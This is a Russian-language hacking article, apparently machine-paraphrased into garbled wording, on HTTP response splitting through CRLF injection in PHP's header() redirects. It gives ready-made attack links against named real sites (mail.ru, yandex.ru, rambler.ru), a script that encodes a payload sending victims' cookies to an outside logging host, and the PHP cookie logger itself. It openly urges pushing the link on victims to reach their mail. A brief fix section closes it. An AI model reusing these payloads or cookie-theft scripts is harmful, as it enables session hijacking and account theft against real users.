special

HTTP splitting vulnerability

В статье рассмтривается практическое применение уязвимости, известной как HTTP splitting vulnerability

Бажный header() под микроскопом

Бродя по просторам интернета мы зачастую наблюдаем url вида http://anyhost.com/redirect.php?url=http://otherhost.com Бесхитростный пользователь никак не продолжительно думая просто кликает по нему также угождает на otherhost.com. Любознательный пользователь подставляет на помещение url адрес cвоей хомпаги также убеждается в кривости скрипта.
Помимо простых также любопытных в интернете живут весьма любопытные пользователи. Они вбивают ссылку в AccessDiver также начинают изучать работу скрипта.


1. Сущность бага.
2. Практическое применение.
3. Расположение о распространенности погрешности.
4. Средства охраны.

для танкистов подсказываю, что AccessDiver - "хакреский", как принято выражать в нации, орудие. Скачать его разрешено на оффсайте проекта. На момент написания этого текста последней версией утилиты была 4.173. Программа наиболее известна своей функцией HTTP Debuger. Воспользоваться ею можно, перейдя в режим эксперта также выбрав соответствующую функцию в меню Tools (F4 затем Сtr+F9 - в зависимости от версии клавиши могли поменять). Дальше мы никак не буду акцентировать забота на ее настройке, тк справится с дайвером может всякий школьник.

для экспериментов мы выбрал mail.ru, поскольку это самая известная почтовая служба в рунете также читателю станет особенно интересно узнать о баге на этом проекте ;) Давайте зайдем по ссылке http://go.mail.ru/urltracker?url=http://www.security-teams.net. Нас перекинет на самый избранный портал по компьютерной безопасности ;). Добавляем сайт в закладки также возвращаемся к мейлу. Запишем заинтересовавшую нас ссылку в поле HTTP Address, поставим Mode равный Get, жмем Connect.
Пред нами появятся HTTP заголовки, возвращаемые сервером, примерно как на скриншете:



Обратим забота на подчеркнутую строчку. Встретив в заголовках Location:, браузер безоговорочно переносит нас по указанному url. Следовательно, мы можем подсунуть пользователю ссылку, как бы на мейле, однако попадет он совсем никак не на мейл. Все это замечательно, но на практике ничто никак не отчуждает.

Обратим забота на то, что строчки в заголовке разделены двумя символов 0Dh 0Ah. А что, ежели приписать их в конце ссылки? Давайте посмотрим, что вернет нам сервер в возражение на запрос http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist:



Как интересно. Значит мы можем заставить сервер выдасть почти что всякий заголовок. Например изменить пользовательские кукисы. Но, снова же, это еще никак не так интересно, как то, что медлит нас впереди. Интересно то, что заголовки отделяются от тела акта последовательностью 0Dh 0Ah 0Dh 0Ah. Неужели мы способны выдать сполна любую страничку? Вводим http://go.mail.ru/urltracker?url= %0D%0A%0D%0A<script>alert(document.cookie);</script><!-- также смотрим:



Все, что желтым - это текст самого документа. Если в браузере включен JavaScript, то зайдя по ссылке мы увидим message box с нашими кукисами. Дабы совершить XSS нападение, нужно:
1) Составить страничку типа <script>document.location= 'http://drmist.ru/log.php?'+document.cookie;</script>
2) Перевести ее в url-encode с помощью скрипта:

<?php
$url = "http://go.mail.ru/urltracker?url=";
$s = "<script>document.location='http://drmist.ru/log.php?'";
$s .= "+document.cookie;</script>";
$res = "";
for($i = 0; $i < strlen($s); $i++)
{
$res.="%";
$t = ord($s[$i]);
if($t < 16)
$res.="0";
$res.=dechex($t);
}

echo $url."%0d%0a%0d%0a".$res;
?>


Получим:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63...и т.д. (**)

3) написать скрипт log.php также залить его на drmist.ru:
<?php
$fid = fopen("../log.txt", "a");
fputs($fid, $_SERVER["QUERY_STRING"]."\r\r\r");
fclose($fid);
header("Location: http://www.mail.ru");
?>


Нынче разрешено впаривать волшебную ссылку (**) также приобретать кукисы жертвы.
По ним разрешено сделать немало полезных вещей, например получить доступ к почте, но об этом в иной однажды, мы также так здорово отвлекся от основной темы.

Разумеется, никак не надобно гнать на мейл, что это бажный ресурс, говно, также ваще никак не из нашей песочницы. Всем людям свойственно делать ошибку, однако админы мейл.ру ошибаются все реже также реже. Правда баги все еще остаются. , люди молчат о них никак не из-за корысти, однако из-за страха неадекватной реакции администрации на их нахождение, которая, согласно статистике, владеет место. К счастью, наличие XSS еще никак не гарантирует получение доступа к почтовому ящику. Уверен, баг прикроют. Самое позднее - чрез 2 суток. Уязвим никак не только mail.ru. Настоятельно рекомендую ознакомиться:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]


Признаться, мы был здорово удивлен, в какое время узнал, что о таких уязвимостях писали на securitylab.ru еще 3 года назад (см Внедрение CRLF в PHP функцию header() от 10.09.2002), но поскольку о практичном применении бага мы никак не слышал еще ни разу, то счел тему актуальной. К тому бла бла врятли разрешено назвать никак не актуальным наличие багов на яндексе, рамблере также мейле.

Исправить погрешность никак не сложно. Пусть кушать уязвимый скрипт:

<?
if(!isset($url))
$url="http://www.mail.ru";

header("Location: $url");

?>


Делаем из него неуязвимый:

header("Location: ".urlencode($url));

Если редирект планируется только в пределах сайта, то лучше всего сделать так:

header("Location: http://www.mail.ru/".urlencode($url));

Вот пожалуй также все, что мы хотел сообщить. Позвольте на последок предложить еще несколько XSS:

http://talk.mail.ru/article.html?ID=31836089&page=1"><h1>XSS</h1>
http://www.pochta.ru/?lng=en"<h1>XSS</h1>

Дата створення/оновлення: 25.05.2018

';